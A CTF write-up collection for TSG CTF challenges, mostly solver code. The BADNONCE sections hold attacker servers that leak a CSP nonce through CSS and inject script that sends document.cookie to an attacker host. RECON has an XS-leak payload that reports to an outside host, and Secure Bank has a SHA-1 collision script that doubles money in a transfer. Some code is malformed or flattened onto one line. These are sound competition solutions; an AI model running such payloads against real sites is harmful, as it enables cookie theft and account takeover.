TSG CTF writeup

Super Smash Bros

https://gist.github.com/hama7230/f47f3f76ff0de87e78201bf42ae41e76

Odd Multiplier

https://gist.github.com/hama7230/6671b5bb49ee2f5f39d7c70f77e485eb

Capacity Oriented Vector

https://gist.github.com/hama7230/ef32274f194eda67e2a18b91f61707a1

BADNONCE Part1

The nonce can be leaked by CSS selector which results in XSS.

from flask import Flask, request
import urllib

host_url = 'http://[host]'
target_url = 'http://35.187.214.138:10023'

app = Flask(__name__)

nonce = ''
def gen_style():
    res = ''
    for c in "0123456789abcdef":
        res += 'script[nonce ^= "{}"]{{background:url({})}}'.format((nonce + c), host_url + '/css?c=' + c)
    return res, 200, {'Content-Type': 'text/css'}

@app.route('/')
def index():
    global nonce
    dest = target_url + '/?q=' + urllib.parse.quote('<meta http-equiv="refresh" content="0.2;URL=\'{}\'"><link rel=stylesheet href={}>'.format(host_url, host_url+'/css'))
    if len(nonce) < len('3f35acde60de73856da8c81592a43a74'):
        return '<meta http-equiv="refresh" content="0;URL=\'{}\'">'.format(dest)
    else:
        return '<meta http-equiv="refresh" content="0;URL=\'{}\'">'.format(target_url+'/?q=<script nonce={}>fetch(`{}/?flag=${{document.cookie}}`)</script>'.format(nonce, host_url))

@app.route('/css')
def css():
    global nonce
    c = request.args.get('c', '')
    if c:
        nonce += c
    return gen_style()

if __name__ == '__main__':
    app.run(port=10080)

BADNONCE Part2

package main

// Send http://westerns.tokyo:8181/

import (
	"crypto/rand"
	"fmt"
	"github.com/labstack/echo"
	"github.com/labstack/echo/middleware"
	"log"
	"net/http"
	"strconv"
	"sync"
	"time"
)



func main() {
	e := echo.New()
	e.Use(middleware.Logger())
	base_url := "http://westerns.tokyo:8181"
	base := ""
	mtx := &sync.Mutex{}

	e.GET("main.css", func(c echo.Context) error {

		css := ""
		nonce := make([]byte, 16)
		rand.Read(nonce)
		for i := 0; i < 32; i++ {
			css += fmt.Sprintf("@import url(\"%s/style.css?id=%d&nonce=%x\");", base_url, i, nonce)
		}
		c.Response().Header().Add(echo.HeaderContentType, "text/css")

		return c.String(http.StatusOK, css)
	})

	curId := 0

	e.GET("/style.css", func(c echo.Context) error {

		param, err := strconv.ParseInt(c.QueryParam("id"), 10, 64)
		if err != nil {
			return err
		}
		for {
			mtx.Lock()
			if curId == int(param) {
				mtx.Unlock()
				break
			}
			mtx.Unlock()
			time.Sleep(10*time.Millisecond)
		}
		css := ""
		for i := 0; i < 16; i++ {
			css += fmt.Sprintf(`
script[nonce^='%s%01x'] {
	background: url(%s/result?result=%s%01x);
}
`, base, i, base_url, base, i)
		}
		c.Response().Header().Add(echo.HeaderContentType, "text/css")
		c.String(http.StatusOK, css)
		log.Print("ret")
		return nil
	})

	e.GET("/result", func(c echo.Context) error {
		result := c.QueryParam("result")
		base = result
		c.String(http.StatusNotFound, "")
		mtx.Lock()
		curId++
		mtx.Unlock()
		return  nil

	})

	e.GET("/redirect", func(c echo.Context) error {

		for {
			mtx.Lock()
			if curId == 32 {
				mtx.Unlock()
				break
			}
			mtx.Unlock()
			time.Sleep(10*time.Millisecond)
		}
		return c.Redirect(http.StatusFound, fmt.Sprintf("http://35.187.214.138:10023/?q=<script nonce=\"%s\">location.href=\"%s/cookie?\"%%2bbtoa(document.cookie);</script>", base, base_url))
	})


	e.GET("/", func(c echo.Context) error {
		html := fmt.Sprintf(`
<iframe src='http://35.187.214.138:10023/?q=<style>@import url("http://westerns.tokyo:8181/main.css");</style>''></iframe>
<iframe src="%s/redirect"></iframe>
`, base_url);
		return c.HTML(http.StatusOK, html)

	})
	log.Fatal(e.Start(":8181"))
}

Secure Bank

The bug was on /post/transafer api.

    return err(401, 'login first') unless src = session[:user]

    return err(400, 'bad request') unless dst = params[:target] and String === dst and dst != src
    return err(400, 'bad request') unless amount = params[:amount] and String === amount
    return err(400, 'bad request') unless amount = amount.to_i and amount > 0

    sleep 1

    hashed_src = STRETCH.times.inject(src){|s| Digest::SHA1.hexdigest(s)}
    hashed_dst = STRETCH.times.inject(dst){|s| Digest::SHA1.hexdigest(s)}
    
...    

    balance_src -= amount
    balance_dst += amount

    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_src, hashed_src
    DB.execute 'UPDATE account SET balance = ?  WHERE user = ?', balance_dst, hashed_dst

it has some check about src and dst to prevent users from sending money to their own account, no checks about hashed_{src,dst} though.

SHAttered will help you doubling money :)

import requests
import concurrent.futures
import os
import hashlib


def randstr(n=8):
    import random
    import string
    chars = string.ascii_lowercase + string.ascii_uppercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

class Client(object):
    URL = "http://34.85.75.40:19292"

    def __init__(self, username, password):
        self.username = username
        self.password = password
        self.sess = requests.session()

    def balance(self):
        req = self.sess.post(self.URL + '/api/balance')
        return req.content

    def register(self):
        req = self.sess.post(self.URL + '/api/register', data={'user': self.username, 'pass': self.password})
        return req.content

    def login(self):
        req = self.sess.post(self.URL + '/api/login', data={'user': self.username, 'pass': self.password})
        return req.content

    def transfer(self, target, amount):
        req = self.sess.post(self.URL + '/api/transfer', data={'target': target, 'amount': [amount]})
        return req.content

    def flag(self):
        req = self.sess.get(self.URL + '/api/flag')
        return req.content

d1 = b'%PDF-1.3\n%\xe2\xe3\xcf\xd3\n\n\n1 0 obj\n<</Width 2 0 R/Height 3 0 R/Type 4 0 R/Subtype 5 0 R/Filter 6 0 R/ColorSpace 7 0 R/Length 8 0 R/BitsPerComponent 8>>\nstream\n\xff\xd8\xff\xfe\x00$SHA-1 is dead!!!!!\x85/\xec\t#9u\x9c9\xb1\xa1\xc6<L\x97\xe1\xff\xfe\x01sF\xdc\x91f\xb6~\x11\x8f\x02\x9a\xb6!\xb2V\x0f\xf9\xcag\xcc\xa8\xc7\xf8[\xa8Ly\x03\x0c+=\xe2\x18\xf8m\xb3\xa9\t\x01\xd5\xdfE\xc1O&\xfe\xdf\xb3\xdc8\xe9j\xc2/\xe7\xbdr\x8f\x0eE\xbc\xe0F\xd2<W\x0f\xeb\x14\x13\x98\xbbU.\xf5\xa0\xa8+\xe31\xfe\xa4\x807\xb8\xb5\xd7\x1f\x0e3.\xdf\x93\xac5\x00\xebM\xdc\r\xec\xc1\xa8dy\x0cx,v!V`\xdd0\x97\x91\xd0k\xd0\xaf?\x98\xcd\xa4\xbcF)\xb1\xd3\xc1Ns\x88_\xa8\x98\xdcna\xad\xadp\xa5\xfa\x17\xe3Y%\xcb\x93\\\x9c_\xba\xe4\x03\x0c\x87\xd4\xf6'

cli = Client(d1, 'hogehogehogehoge')
cli.login()
print(cli.balance())
print(cli.flag())
exit()


appendix = os.urandom(32)
d1 += appendix
d2 += appendix

print(d1)
print(d2)

assert hashlib.sha1(d1).hexdigest() == hashlib.sha1(d2).hexdigest()

password = 'hogehogehogehoge'
cli1 = Client(d1, password)
cli2 = Client(d2, password)
cli1.register()
print(cli1.login())
print(cli2.login())


amount = 100
while amount < 10000000000:
    cli1.transfer(d2, amount)
    amount *= 2

print(cli1.balance())
print(cli1.flag())

RECON

Target web application has special feature for account recovery and the profile page unescaped can be injected with arbitrary HTML, but no XSS because of Content Security Policy.
Obviously this feature can be used to solve the challenge by leaking preference set of admin, resulting account recovery.

The part of html describing preference is here:

<input type="checkbox" id="grapes" onchange="grapes.checked=true;">

you can recover the account if you know the fruit is checked or not.

There is cool challenge called filemanager in 35C3CTF abusing Chrome XSS auditor to leak contents of cross-site page, this method can be used in RECON challenge as well.

Here is example payload to check if a fruit is checked:

http://34.97.74.235:10033/profile?a=onchange=%22grapes.checked=true;%22

the request will be blocked if they checked grapes.

final payload:

<!doctype>
<html>
<head>
</head>
<body>
<script>
var flags = []
var check = (fruit) => {
	var url = `http://34.97.74.235:10033/profile?a=onchange=%22${fruit}.checked=true;%22`;
	var ifr = document.createElement('iframe');
	document.body.appendChild(ifr);
	ifr.onload = () => {
		ifr.onload = () => {
			console.log('hit');
			flags.push(fruit);
			fetch('/?c=' + flags.toString());
		}
		ifr.src = ifr.src + '#'
	}
	ifr.src = url;
}

[
	'grapes',
	'melon',
	'watermelon',
	'tangerine',
	'lemon',
	'banana',
	'pineapple',
	'pear',
	'peach',
	'cherries',
	'strawberry',
	'tomato',
	'coconut',
	'mango',
	'avocado',
	'aubergine',
	'potato',
	'carrot',
	'broccoli',
	'mushroom',
].map((el) => {
		check(el)
})

</script>
</body>
</html>

you’ll get request with leaked fruits, would help you to recover admin account to get flag :)

OPQRX

#include <iostream>
#include <gmpxx.h>
using namespace std;

    mpz_class X = mpz_class("950358059600474305827771380683741458994102949126303386140253951747972276999022342208262800760061154398271068516253175545735456284984933121377404958083314600655447129775868209462982744186518957772122396756451141101530041779955245471472134699242664534814221273939880846730251297763359790557422127540709102136769366092399273623925570872859266548882987518588530617720397165019176108480156876913848103894864771903530413550704276937306948683609983799509662220045635940160920596367820951543381669617525581893239594901173734116054697069635020002486845048804682305078106964316183798068618639241948197675223115348163019048625373765550949273567042933864894263655621306241833349642978696892492213984491118558186425036609374626368657763236619642299850791946710919682040219563850092641243093906165685956695639258845635807997678135071126411514233212329352759106255311517050069284549350052584108601349762457513286109309685191933647198018596263095604001928907171502875081594253618031333487818528683297444472724705834348968685867101260408703944578321377003322277616161558951427955865100991857694166101106561131471922637073992792768831828380493392423497335535612525566590750772745411732685028183267169226764749141325626854817138130631949844771053951960");
    mpz_class N = mpz_class("247465623232529638570403627954515140549125464704817835183645669188472743182462350040656945325450657857795456553396687569720980842982926845337227966696522093282786882561968615864736765752433069546858439815030651380785843674190791402853951236494718634304312751098515936783858994195570922580683332803369701363402529074402664491617600861267722232614873579834618864491313983011984783179171484956546212881647063328679330401752122426273399745247394558879616944190407436620707694460705838905167958310291748206503803245570812818460951229153004100082641961722909449085000926517536505862666390730672438786667437732727892530932043888271965398718458040093563806864200347078192024936196446329155635755682462402577559908583721738674671712235928511130814290140488609275201531091941022025423945245655138749471773951982326940397563668812663911560805472790354465176645654925712665466908761601630548710031513794557078929877256958912825742035898444107900195605803439822642914124421169419665012462368428063174117176948217351889525290996526478175910563577827404884951074164990948585830040593958196959384856700062914243351708318383463054253935630461024868395311859856823997566468043613201152144317218540388233163044090076375023156913766157903266102228806511766874546238501462729789311305353532852243350014435557292562277534441782977536950667942409622824703681942287094306687529563976259226568536477006987758537902779031652725318651412097989762378829049950725567335828279044984627929916893167368380666080846093308718960187199678171390844781410123277536707822610961039098290794321102160488402500912631820436740755297381500867354726950237473157706745732481020409089136649142836959359494679712387674635517522465929790194532886549752549296525326753661396418942921238641862841862062523739794185828404110732054050991100263967931482921549160288056234483320030511150838991553475977254477982555698760709836081377694957203251796012604022819780158470545306037123726144297059699951351522178070972246076273281750790146118258080309984762387853921776334456422671205443649323821265510825075358823620914441131837218471866299818058325805391640744310939129416240071558620256757906619101813132910694274256665801559376989999327799895968742876386311015510228756261286000612508092571831683964733063518480933968224775829439608716169155578215817882852862506665551979130227190512028135937769869149065155592833328152008778223352658264026115418397316311825039015464475393415911842445128662864755158473389001859110809489");
mpz_class one = 1; 
void search(const mpz_class &p,const mpz_class &q, int i) {
    mpz_class diff = (N - p * q);
    mpz_class mask = (one << i);
    if ((diff % mask) != 0) {
        return;
    }
    if (p * q == N) {
        cout << p << endl;
        cout << q << endl;
        exit(0);
    }
    if( i > 4192) {
        if (p * q == N) {
            cout << p << endl;
            cout << q << endl;
        }
        return;
    }
    for (int j = 0; j < 2; j++) {
        mpz_class np = p + j * (one << i);
        mpz_class nq = q + (j ^ (X >> i & 1)) * (one << i);
        search(np, nq, i + 1);
    }
}
int main() {
    search(mpz_class(0), mpz_class(0), 0);
    return 0;
}

OMEGA

require_relative 'params'

def add(x, y)
  a, b = x
  c, d = y
  [a+c, b+d]
end

def sub(x, y)
  a, b = x
  c, d = y
  [a-c, b-d]
end

def mul(x, y)
  a, b = x
  c, d = y
  [a*c - b*d, a*d + b*c - b*d]
end

def idivround(x, y)
  if y < 0 then
    x, y = -x, -y
  end
  d = x / y
  r = x % y
  if 0 <= d then
    y <= r * 2 ? d + 1 : d
  else
    y < r * 2 ? d + 1 : d
  end
end

def div(x, y)
  a, b = x
  c, d = y
  [idivround((a*c + b*d - a*d), (c*c + d*d - c*d)),
   idivround((b*c - a*d), (c*c + d*d - c*d))
  ]
end

def mod(x, y)
  k = div(x, y)
  sub(x, mul(k, y))
end

def extgcd(a, b)
  return [[1, 0], [0, 0]] if b == [0, 0]
  y, x = extgcd(b, mod(a, b))
  y = sub(y, mul(div(a, b), x))
  return [x, y]
end

def invmod(a, m)
  x, _ = extgcd(a, m)
  x = mod(x, m)

  v = mod(mul(x, a), m)
  if v == [1, 0] then
    return x
  elsif v == [-1, 0] then
    return [-x[0], -x[1]]
  else
    fail [a, m, x, v].to_s
  end
end

def extgcd2(a, b, z)
  return [z, [0, 0]] if b == [0, 0]
  y, x = extgcd2(b, mod(a, b), z)
  y = sub(y, mul(div(a, b), x))
  return [x, y]
end

def invmod2(a, m)
  [
    # why?
    [1, 0],
    [-1, 0],
    [0, 1],
    [0, -1],
    [1, 1],
    [1, -1],
    [-1, 1],
    [-1, -1],
  ].each do |z|
    x, _ = extgcd2(a, m, z)
    x = mod(x, m)
    v = mod(mul(x, a), m)
    if v == [1, 0] then
      return x
    end
  end
  fail [a, m].to_s
end

def crt(m1, m2, a, b)
  mod(add(mul(mul(m2, a), invmod2(m2, m1)),
          mul(mul(m1, b), invmod2(m1, m2))),
      mul(m1, m2))
end

s, m = PROBLEM.reduce do |s, e|
  x, m1 = s
  y, m2 = e
  [crt(m1, m2, x, y), mul(m1, m2)]
end
puts [s[0].to_s(16), s[1].to_s(16)].pack("H*H*")

Millionaire Girl

require 'httpclient'
@client = HTTPClient.new
@base_url = 'http://34.85.75.40:10030'

def shot()
    resp = @client.post(@base_url + '/shot', '')
    ret = resp.body
    if ret == 'bang!'
        return :bang
    else
        # TODO: Show flag
        STDERR.puts ret
        return ret.to_i
    end
end
def roll()
    resp = @client.post(@base_url + '/roll', '')
    p resp.body
    return 
end

def get_single()
    r = 0
    r += 1 while shot() != :bang
    return r
end

File.open('data', 'w') do |f|
    5.times do
        random = 0
        16.times do |i|
            random = random * 6 + get_single()
        end
        STDERR.puts random
        lower = random / 6.0 ** 16 + 1
        upper = (random + 1) / 6.0 ** 16 + 1
        lbits, rbits = [lower, upper].pack("D*").unpack("Q*").map{|a|'%052b'% (a - 0x3FF0000000000000)}
        64.times do |i|
            next if lbits[0, i] == rbits[0, i]
            f.puts "%d %d %d" % [lbits.to_i(2), rbits.to_i(2), (1 << 52) - (1 << (52 - i + 1))]
            break
        end
    end
end

z3 = `python xorshift-z3.py`.lines.map(&:to_i)
ns = z3.map{|a|('%00000000000000000000000000000000' + a.to_s(6))[-16..-1]}.join
ns.each_char do |n|
    n.to_i.times do |i|
        shot()
    end
    roll()
end
# coding: utf-8
import struct
import math
from z3 import *

def realXorShift128(state0, state1):
    s1 = state0
    s0 = state1
    s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s1 >> 17) & 0xFFFFFFFFFFFFFFFF
    s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
    s1 ^= (s0 >> 26) & 0xFFFFFFFFFFFFFFFF
    return (s0, s1)

def xorshift128(state0, state1):
    s1 = state0
    s0 = state1
    s1 ^= (s1 << 23) & 0xFFFFFFFFFFFFFFFF
    s1 ^= LShR(s1, 17) & 0xFFFFFFFFFFFFFFFF
    s1 ^= s0 & 0xFFFFFFFFFFFFFFFF
    s1 ^= LShR(s0, 26) & 0xFFFFFFFFFFFFFFFF
    return (s0, s1)

def invert(state0, state1):
    s = Solver()
    orig_state = state = (BitVec("s0", 64), BitVec("s1", 64))
    state = xorshift128(state[0], state[1])
    s.add(state[0] == state0)
    s.add(state[1] == state1)
    s.check()
    model = s.model()
    return (model[orig_state[0]].as_long(), model[orig_state[1]].as_long())


kMantissaMask = 0x000FFFFFFFFFFFFF
kExponentBits = 0x3FF0000000000000
def to_double(state0, state1):
    return struct.unpack('<d', struct.pack('<Q', ((state0 + state1) & kMantissaMask) | kExponentBits))[0] - 1

def to_random(dbl):
    return int(math.floor(dbl * 6 ** 16))

# C++との比較
test_state0 = test_state1 = 0x123456789012345
test_next0 = test_state0
test_next1 = test_state1
test_count = 3
assert realXorShift128(test_state0, test_state1) == (81985529205302085,12953717993055603746)
for i in xrange(test_count):
    test_next0, test_next1 = realXorShift128(test_next0, test_next1)

test_state = (BitVec("s0", 64), BitVec("s1", 64))
test_orig_state = test_state
for i in xrange(test_count):
    test_state = xorshift128(test_state[0], test_state[1])

# test_vec = vector(GF(2),N)
test_solver = Solver()
test_solver.add(test_state[0] == test_next0)
test_solver.add(test_state[1] == test_next1)
assert str(test_solver.check()) == 'sat'
test_model = test_solver.model()
assert test_model[test_orig_state[0]].as_long() == test_state0
assert test_model[test_orig_state[1]].as_long() == test_state1
# test_initial_state = Matrix(test_state).solve_right(test_vec)
# for i in xrange(0,64):
#     assert test_initial_state[i] == test_state0 >> i & 1
#     assert test_initial_state[i + 64] == test_state1 >> i & 1

# NodeJSからの取得データ

# print '%x' % struct.unpack('<Q', struct.pack('<d', float(0.004444444443838069 + 1)))[0]


real_data = [struct.unpack('<Q', struct.pack('<d', float(line.rstrip()) + 1))[0] & ((1 << 52) - 1) for line in open('sample.txt', 'r').readlines()][::-1]
state = (BitVec("s0", 64), BitVec("s1", 64))
s = Solver()
MantissaMask = 0x000FFFFFFFFFF000
for i in xrange(3):
    s.add(real_data[i] & MantissaMask == ((state[0] + state[1]) & MantissaMask))
    state = xorshift128(state[0], state[1])
# print s.check()
# print s.model()

# # 実処理


# print '%x' % struct.unpack('<Q', struct.pack('<d', float(0.004444444443838069 + 1)))[0]


# real_data = [struct.unpack('<Q', struct.pack('<d', float(line.rstrip()) + 1))[0] & ((1 << 52) - 1) for line in open('sample.txt', 'r').readlines()][::-1]
# state = (BitVec("s0", 64), BitVec("s1", 64))
# s = Solver()
# MantissaMask = 0x000FFFFFFFFFF000
# for i in xrange(3):
#     s.add(real_data[i] & MantissaMask == ((state[0] + state[1]) & MantissaMask))
#     state = xorshift128(state[0], state[1])
# print s.check()
# print s.model()

s = Solver()
state = (BitVec("s0", 64), BitVec("s1", 64))
orig_state = state
for line in open('data', 'r').readlines()[::-1]:
    lbits, rbits, mask = map(int, line.rstrip().split())
    assert ((lbits ^ rbits) & mask) == 0
    s.add(lbits & mask == ((state[0] + state[1]) & mask))
    state = xorshift128(state[0], state[1])
s.check()
s0 = s.model()[orig_state[0]].as_long()
s1 = s.model()[orig_state[1]].as_long()
for i in xrange(0, 10):
    s0, s1 = invert(s0, s1)
    print to_random(to_double(s0, s1))

Curved

? P = 2 ^ 256 - 2 ^ 32 - 313441
? E = ellinit([0,0,0,0,7]*Mod(1,P))
? Gx = 0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798
? Gy = 82420052799988522717532479648954225145345455265426509542622303173620650331589

? ellorder(E, G)
%15 = 2315841784746323908471419700173758157065399693312811280789151680158176687184

? factor(2315841784746323908471419700173758157065399693312811280789151680158176687184)
[              2 4]

[              3 1]

[             23 1]

[            251 1]

[         157229 1]

[        7392373 1]

[        8666891 1]

[       18222037 1]

[      696663547 1]

[      946050631 1]

[   237140208281 1]

[291304131568817 1]

? h = [ 0x56df2adff3c3749cc4c62c9e7da339dc02d157868a1d76f9d058d634d6a9525f, 0xc167d7eb600437e2d6ead69ebcf2b1b2f88939c0fafda0b19aa3db33f5024b43]
? elllog(E, h, G, ellorder(E, G))
%14 = 1087950870612075716361732424623822388961276702940085355932530092911122308221
from Crypto.Util.number import *

P = 2 ** 256 - 2 ** 32 - 313441
n = 2315841784746323908471419700173758157065399693312811280789151680158176687184
x = 1087950870612075716361732424623822388961276702940085355932530092911122308221

for i in xrange(32):
    flag = long_to_bytes(x + n*i)
    if flag[:7] == "TSGCTF{" and flag[-1:] == "}":
        print(flag)

Harekaze

1,2c1,2
< 00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0048  ......JFIF.....H
< 00000010: 0048 0000 ffdb 0084 0005 0304 0404 0305  .H..............
---
> 00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001  ......JFIF......
> 00000010: 0001 0000 ffdb 0084 0005 0304 0404 0305  ................
11c11
< 000000a0: 3201 9003 0111 0102 1100 0311 00ff c401  2...............
---
> 000000a0: 3201 9003 0111 0002 1101 0311 01ff c401  2...............

Obliterated File / Obliterated File Again

Downloaded archive is zipped modified git repository.
Git pack object managed by git is useful to track all files in the repository. You can get all files in git repository by extracting git pack object.

unzip problem.zip
mkdir test
cd test
git init
git unpack-objects < ../easy_web/.git/objects/pack/pack-b799d65ebb2cc3fab7878fcf2a2642585de29408.pack

Then you can take all files by checking sha1 hash.

cd .git/objects
find . -type f | sed 's/[\.\/]//g' | while read h
do
git cat-file -p $h
done | string
flag = File.open("./flag", "r") do |f|
    db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc	flag
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc	flag
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc	flag
flag = File.open("./flag", "r") do |f|
    db.exec "INSERT INTO accounts VALUES ('admin', '#{flag}');"
The flag is admin's password.
100644 blob 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc	flag

check the hash of flag and extract the file. note that the file is decompressed by zlib.

~$ git cat-file -p 111eb967d40ae9bc7b2d16bbab7aaac5746ba1dc | zlib-flate -uncompress
TSGCTF{$_git_update-ref_-d_refs/original/refs/heads/master}

You can get both flags with same process.

ffi

$ ttx -o ffi.ttx ffi.ttf
from bs4 import BeautifulSoup soup = BeautifulSoup(open('ffi.ttx','r').read(), "xml") lookups = soup.find('GSUB').find('LookupList').find_all('Lookup') chain_context = soup.find('GSUB').find('LookupList').find_all('ChainContextSubst') flag = '}' current_index = 51 while True: for ctx in chain_context: if current_index == int(ctx.find('LookupListIndex').attrs['value']): backtrack_cov = ctx.find('BacktrackCoverage').find('Glyph').attrs['value'] break is_break = False for i in range(len(lookups)): subs = lookups[i].find_all('Substitution') for sub in subs: if sub.attrs['out'] == backtrack_cov: flag_char = sub.attrs['in'] if flag_char == 'underscore': flag_char = '_' elif flag_char == 'braceleft': flag_char = '{' flag = flag_char + flag print(flag) current_index = i is_break = True break if is_break: break

Eso VM

from z3 import * vm_code = '''++++++++++lz>+>>>+++>++>+++>>>>>+++>>++++>>>>>>+++>>>>>>+++>++++>>>>>>+++>+++++>+++>>>>>+++>>++>>>>>+++>+>>s<m++++m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++++>>>>>+++>+>++++++>>>>>>+>>>>>>+++>++++>>>>>>+++>>++>>>>>+++>+>>s<m+++++++m++++++++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++++>>>>>+++>+>++++++>>>>>>>>>>>>+++>++++>>>>>>+++>>+++++>>>>>+++>+>>s<m+m+m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++++++>>>>>+++>+>++++>>>>>>>>>>>>+++>++++++>>>>>>+++>>+++++>>>>>+++>+>>s<m+m+m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>>s<m++++m++>z+++++++>>>>>+++>>+++++>>>>>+++>+>>s<m+m+m++++>z>>>>>>>>>>>+++>+++++>>>>>>+++>++++++>+++++>>>>>+++>>++++++>>>>>+++>+>>s<m+m+m+++++>z>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+>>s<m++++m+++++++>z>>>>>+++>>++>>>>>+++>+>>s<m+m+m++++>z>>>>>>>>>>>+++>++>>>>>>+++>++++++>++>>>>>+++>>++++++>>>>>+++>+>>s<m+m+m+++++>z>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+>>s<m++++++m++++++>z>>>>>+++>>s<m+m+m++++++>z+++>>>>>+++>++>+++>>>>>+++>>++>>>>>+++>+>>s<m+m+m+++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>+++++++>>s<m++++m++>z>>>>+++>>++>>>>>+++>+>>s<m+m+++++m++>z>>>>>>>>>>>+++>>s<m++++m++>z>>>>>++>>s<m+m+m+++++++>z>s<m++++m++>z>>>>+++>>++++++>>>>>+++>+>++++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>>s<m+m+m++++++>z>>>>+++>+>++++++>>>>>>>>>>>>+++>>s<m+m+m++++++>z>>>>>+++>>++>>>>>+++>+>>s<m+m+m++++>z>>>>>>>>>>>+++>++>>>>>>+++>++++++>++>>>>>+++>>++++++>>>>>+++>+>>s<m+m+m+++++>z>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+++>+>+++>>>>>>++>>>>>>+++>++++++>>>>>>+++>>++++++>>>>>+>>s<m+++m+++++++>z>>>>>+++>>>s<m+m+m++++++>z>>>>+>>s<m++m>z+>>>>>+++>>>s<m+m+++++m+++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m>z>>>>>++++>>>>>>+++>>>s<m+m+m++++>z>>>>+>>s<m++m++>z+>>>>>+++>>>s<m+m++++++m+>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m+++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++++>z>>>>>++++>>>>>>+++>>>s<m+m+++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m+++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m++++>z>>>>>++++>>>>>>+++>>>s<m+m++++++m>z>>>>>++++>>>>>>+++>>>s<m+m+m++++>z>>>>+>++>>+>>>>>+>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>++++++>>>>>s<m+++m+m+m+++++++++m++++>z>>>>s<m+++m++m++++m++++++++m+>z>>>>s<m+m++m+++++m+m+++>z>>>>s<m++++++mm+++++++++m+++++++m++++++++>z>>>>s<m++++m+m++++++m+m+++++++>z>>>>s<m++m+++++++m++++++m++++++m++++++>z>>>>s<m+++mm++++++m+++++m+++++++>z>>>>s<m++m+++++++++mm+++++++++m>z>>>>s<m++mm++++++++m+++++++++m>z>>>>s<m+++mm++m+++++++m>z>>>>s<m++++++m++++m++++m++m++++++>z>>>>s<m++++m++m++++++m+++++++m+++>z>>>>s<m+mm+++++m++++m+++++++++>z>>>>s<m++m+++++mm+++++++m+++>z>>>>s<m++++++m++m+++++m++++m++++>z>>>>s<m++++mm++++m++m++++>z>>>>s<m++++m+++++m++++++m++++++m+>z>>>>s<m+++++m++++m++++++++m+m++++++++>z>>>>s<m+++m+++++++++m++m+++++++m++++>z>>>>s<m++++m++++m++m+++++m+++>z>>>>s<m++m++++++++m++++m++m++>z>>>>s<m++m++++++++m++m++++++>z>>>>s<m+++m++m++m++m+>z>>>>s<m++++m+++m+m+++++++++m+++++++++>z>>>>s<m++++++m++m+mm+>z>>>>s<m++++++++m+++++++++m++m+++++++>z>>>>s<m+++m+++++m+++m+++m+++>z>>>>s<m++m+++++>z>>>>s<m+m++++++++m++m+++++m++++++>z>>>>s<m+++m++m++m+++++m+++++>z>>>>s<m++m+++m++m++++++++m>z>>>>s<m+++++m+m++m+++++++++m>z>>>>s<m+++m+++++m++++++++m+>z>>>>s<m+++m++++mm+++++++++>z>>>>>>>++++++++>>>>>s<m++++++++m++++++m+++++m++++++>z>>>>s<m+m++++++++m++++++m+++++++m++++++>z>>>>s<m++++++m++m+++++++m++m+>z>>>>s<m+m+++++++m+++++m+++m>z>>>>s<m+++m+m++++++m++++m++>z>>>>s<m++++++m+++++m+m+++++++m+++>z>>>>s<m+++++m++m+++++++m++++++m+++>z>>>>s<m+m++++++++m+++++++++m+++++++++m+>z>>>>s<m++++m+m+++++++++m++++m+++++>z>>>>s<m++m++++m++++++m++++++m+++++>z>>>>s<m++++m++++m+++++++m++++m>z>>>>s<m+++++m+m++++m+m++++++++>z>>>>s<m+++++m+mm++++++++m+>z>>>>s<m++++++m+++m++++++++mm+++++++>z>>>>s<m+m++++m+++++++m++++>z>>>>s<m+m+++++++++m+++m+++++++m++++++>z>>>>s<m++++++m++++m++++m++++m>z>>>>s<m++m++m+++++++++m+m++++>z>>>>s<m+++m++++++++m+++m+++++++++m+>z>>>>s<m+++++m++m+m+++m+++++>z>>>>s<m++++m+++++m+++++mm+++>z>>>>s<m+m++++++++m++m+++++++m+++>z>>>>s<m+++m+++++++m++++m+++++m+++++>z>>>>s<m+++mm+m++++m+++++++>z>>>>s<m++m++++++mm+++++++m+++++++>z>>>>s<m+++++m+++++m+++++++++m+++++m+++++>z>>>>s<m+m++m++++m++++++++m+>z